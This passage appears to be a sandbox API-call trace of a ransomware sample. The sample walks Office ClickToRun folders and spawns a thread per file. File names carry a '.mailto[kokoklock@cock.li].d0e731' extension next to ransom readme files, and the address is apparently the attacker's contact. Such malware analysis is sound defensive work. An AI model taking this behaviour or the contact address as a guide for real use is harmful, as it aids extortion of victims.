lpParameter=0x2fe1ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0175.615] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bd0f4be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S64103~1.D0E")) returned 1 [0175.615] wcscmp (_String1="s641033.hash.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.615] wcscmp (_String1="s641033.hash.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.615] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x305e330 [0175.615] wcscpy (in: _Dest=0x305e330, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0175.615] wcscat (in: _Dest=0x305e330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0175.615] wcscat (in: _Dest=0x305e330, _Source="s641033.hash.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" [0175.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0175.616] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bce927c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd78c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 1 [0175.616] wcscmp (_String1="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.616] wcscmp (_String1="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x120) returned 0x2fa4fd8 [0175.616] wcscpy (in: _Dest=0x2fa4fd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0175.616] wcscat (in: _Dest=0x2fa4fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0175.616] wcscat (in: _Dest=0x2fa4fd8, _Source="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" [0175.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa4fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0175.616] FindNextFileW (in: hFindFile=0x3045628, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bce927c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd78c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 0 [0175.617] FindClose (in: hFindFile=0x3045628 | out: hFindFile=0x3045628) returned 1 [0175.617] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b598) returned 1 [0175.617] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055f98) returned 1 [0175.617] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30570d8) returned 1 [0175.617] RtlExitUserThread (Status=0x0) Thread: id = 2297 os_tid = 0xdf4 [0174.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f9f1b0 [0174.842] wcscpy (in: _Dest=0x2f9f1b0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0174.842] wcscat (in: _Dest=0x2f9f1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0174.842] wcscat (in: _Dest=0x2f9f1b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*" [0174.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b800 [0174.842] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*", lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bdf407e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bdf407e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045668 [0174.844] wcscmp (_String1=".", _String2=".") returned 0 [0174.844] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bdf407e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bdf407e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.845] wcscmp (_String1="..", _String2=".") returned 1 [0174.845] wcscmp (_String1="..", _String2="..") returned 0 [0174.845] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bda7c15, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bda7c15, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bda7c15, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.845] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.845] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.845] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bdf407e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x52d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.845] wcscmp (_String1="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.845] wcscmp (_String1="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe2010 [0174.845] wcscpy (in: _Dest=0x2fe2010, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0174.845] wcscat (in: _Dest=0x2fe2010, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0174.845] wcscat (in: _Dest=0x2fe2010, _Source="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0175.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0175.610] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bdcdf8c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S640HA~1.D0E")) returned 1 [0175.611] wcscmp (_String1="s640.hash.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.611] wcscmp (_String1="s640.hash.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x104) returned 0x305e218 [0175.611] wcscpy (in: _Dest=0x305e218, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0175.611] wcscat (in: _Dest=0x305e218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0175.611] wcscat (in: _Dest=0x305e218, _Source="s640.hash.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" [0175.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0175.611] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bd819d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38490a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 1 [0175.611] wcscmp (_String1="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.611] wcscmp (_String1="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe2b08 [0175.611] wcscpy (in: _Dest=0x2fe2b08, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0175.612] wcscat (in: _Dest=0x2fe2b08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0175.612] wcscat (in: _Dest=0x2fe2b08, _Source="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" [0175.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0175.612] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8bd819d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38490a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 0 [0175.612] FindClose (in: hFindFile=0x3045668 | out: hFindFile=0x3045668) returned 1 [0175.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b800) returned 1 [0175.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9f1b0) returned 1 [0175.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056b18) returned 1 [0175.613] RtlExitUserThread (Status=0x0) Thread: id = 2298 os_tid = 0xdf8 [0174.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3056050 [0174.845] wcscpy (in: _Dest=0x3056050, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0174.846] wcscat (in: _Dest=0x3056050, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0174.846] wcscat (in: _Dest=0x3056050, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*" [0174.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9ba68 [0174.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*", lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8be1a3cd, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be1a3cd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30456a8 [0174.848] wcscmp (_String1=".", _String2=".") returned 0 [0174.848] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8be1a3cd, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be1a3cd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.848] wcscmp (_String1="..", _String2=".") returned 1 [0174.848] wcscmp (_String1="..", _String2="..") returned 0 [0174.848] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b08addc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b08addc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b08addc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.848] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.848] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.848] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8b08addc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x570f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.848] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.848] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.848] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe23b8 [0174.848] wcscpy (in: _Dest=0x2fe23b8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0174.848] wcscat (in: _Dest=0x2fe23b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0174.848] wcscat (in: _Dest=0x2fe23b8, _Source="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0175.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe23b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0175.606] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8baf92c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S64103~1.D0E")) returned 1 [0175.606] wcscmp (_String1="s641033.hash.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.606] wcscmp (_String1="s641033.hash.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x305e100 [0175.606] wcscpy (in: _Dest=0x305e100, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0175.606] wcscat (in: _Dest=0x305e100, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0175.606] wcscat (in: _Dest=0x305e100, _Source="s641033.hash.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" [0175.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0175.607] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8be1a3cd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd78c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 1 [0175.607] wcscmp (_String1="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.607] wcscmp (_String1="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x120) returned 0x2f6ab60 [0175.607] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All 